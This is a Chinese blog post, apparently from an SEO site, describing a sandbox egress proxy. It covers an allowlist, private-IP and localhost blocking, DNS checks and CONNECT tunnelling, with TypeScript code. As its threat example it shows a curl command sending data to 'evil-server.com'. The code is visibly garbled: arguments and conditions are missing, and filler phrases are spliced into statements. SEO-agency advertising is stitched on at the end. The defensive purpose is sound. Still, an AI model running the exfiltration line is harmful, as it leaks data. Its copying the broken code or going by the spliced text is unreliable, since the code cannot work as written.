96SEO 2026-08-01 15:14 44
痛点:在沙箱模式下子进程拥有 network: true 权限。表面上可以自由访问外网,却可能被恶意脚本利用泄露敏感信息或发动攻击。

假设子进程执行了:
curl https://evil-server.com/steal?data=$
没有代理的话。这条命令会直接执行,数据就泄露了。
有了代理子进程的网络请求会先到本地代理。代理检查发现 evil-server.com 不在白名单里立即返回错误,从根源阻止泄漏。
子进程 │ HTTP_PROXY=http://127.0.0.1:3128
▼ 本地代理
│
├── HTTP 请求 → handleHttpRequest
│ ▼ evaluateProxyAccess
│ ├── 白名单命中 → 转发到目标服务器
│ └── 白名单未命中 → 返回错误
│
└── CONNECT 请求 → handleConnect
▼ evaluateProxyAccess
├── 白名单命中 → 建立 TCP 隧道
└── 白名单未命中 → 返回错误
export function normalizeHost {
return host.replace.replace.toLowerCase;}
把 IPv6 地址的方括号去掉,并统一转小写。
export function parseAllowRule: { hostPattern: string;port,: number } {
const trimmed = rule.trim.toLowerCase;const portMatch = trimmed.match:$/);按理说,if return { hostPattern: trimmed };return { hostPattern: portMatch,port: Number };不过,}
规则格式示例:
registry.npmjs.org → 只匹配主机名。端口使用默认值,registry.npmjs.org:443 → 匹配主机名并限定端口。*.npmjs.org → 支持通配符匹配所有子域。
export function matchesAllowRule: boolean {
const { hostPattern,port: explicitPort } = parseAllowRule;if ) return false;// 通配符匹配
if return explicitPort === port;return DEFAULT_ALLOWED_TARGET_PORTS.has;// 默认只允许常用端口
}
export function isSpecialUseHostname: boolean {
return (
host === 'localhost' ||
host.endsWith ||
host.endsWith ||
host === 'ip6-localhost'
);}
痛点:如果不拦截这些本地回环地址,恶意代码可以直接攻击宿主机或读取本地资源。
export function isBlockedIpAddress: boolean {
// 检测 IPv4 私有/保留段:10/8、172.16/12、192.168/16、127/8 等
// 检测 IPv6 私有段:fc00::/7、fe80::/10 等
// 实际实现省略。可使用 net.isIP + ipaddr.js 辅助判断
// 返回 true 表示该 IP 应被阻断
}
export async function evaluateProxyAccess(options: {
host的观点是,string;port: number;不过,allowRules: string;lookup,: ProxyLookupFn;}): Promise {
const normalizedHost = normalizeHost;// 主机名有效性检查
if return { allowed: false,reason: 'invalid_host' };// 特殊用途主机名过滤
if )
return { allowed: false,reason: 'special_use_hostname' };// 白名单匹配
const matchedRule = options.allowRules.find(rule =>
matchesAllowRule
);怎么说呢,if
return { allowed: false。reason: 'host_or_port_not_allowed' };// DNS 正向解析
const resolver = options.lookup?,dns.lookup;const resolved = await resolveAddresses;if
return { allowed: false,reason: 'resolution_failed' };// 私有 IP 检测
if )) {
return { allowed: false,reason: 'blocked_ip_address' };老实说,}
// 全部通过 → 放行
return {
allowed:true,normalizedHost。matchedRule,resolvedAddress: resolved // 简化:取第一个可用 IP
};}
五道检查要点:
const PORT = Number;const server = http.createServer => {
void handleHttpRequest;}),server.on => {
void handleConnect;}),server.listen => {
console.log;}),
async function handleHttpRequest {
const url = new URL;const host = normalizeHost;const port = Number;const decision = await evaluateProxyAccess({
host。port,allowRules : loadAllowlist.allow,});if {
res.writeHead(403,{
'X-Sandbox-Proxy-Block': `${decision.reason}: ${host}`
});res.end,return;}
// ✅ 放行:创建转发请求
const proxyReq = http.request(
{
hostname : decision.resolvedAddress。port,path : url.pathname + url.search,method : req.method!headers : req.headers。},=> {
res.writeHead;proxyRes.pipe;}
),req.pipe;}
async function handleConnect(
从req来看。any,clientSocket:any,head:any
) {
const = .split;怎么说呢,const host = normalizeHost;const port = Number;const decision = await evaluateProxyAccess({
host。port,allowRules : loadAllowlist.allow,});if {
deny,return;怎么说呢,}
// ✅ 建立隧道:把客户端 socket 与目标服务器 socket 对接
const serverSocket = net.connect => {
clientSocket.write;老实说,serverSocket.write;老实说,serverSocket.pipe;不过,clientSocket.pipe;}),不过,
}
function deny{
socket.write;socket.end,}
"
User Pain Point: HTTPS 内容是加密的。如果仅依赖传统 HTTP 拦截,很难看到真实请求细节。怎么说呢,使用 CONNECT 隧道后即便代理被攻破。也只能看到「建立了哪条隧道」而看不到业务数据,从而最大化保护使用者隐私。
# 白名单配置示例
// src/config/network-allowlist.json
{
"allow":
}
"
默认只允许访问 npm 与 GitHub 系列域名,满足大多数前端建立需求。
. 小结
模块 作用
proxyPolicy.ts 规则引擎——白名单匹配、DNS 正向解析、私有 IP 检测等五道安全检查。
proxy.ts 本地 HTTP/HTTPS 报文拦截与转发,实现 CONNECT 隧道搭建。
.
network‑allowlist.json 白名单配置文件,可自行增删域名或端口。按理说,
Pain Points Recap:
-
担心子进程直接向外部发送敏感信息。
-
害怕 DNS 重绑定导致内部服务被攻击。
-
需要在不影响正常开发的前提下严格限制网络出口。
-
希望即使代理被入侵。也只能看到「连了哪个域名」,而看不到实际业务数据。
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback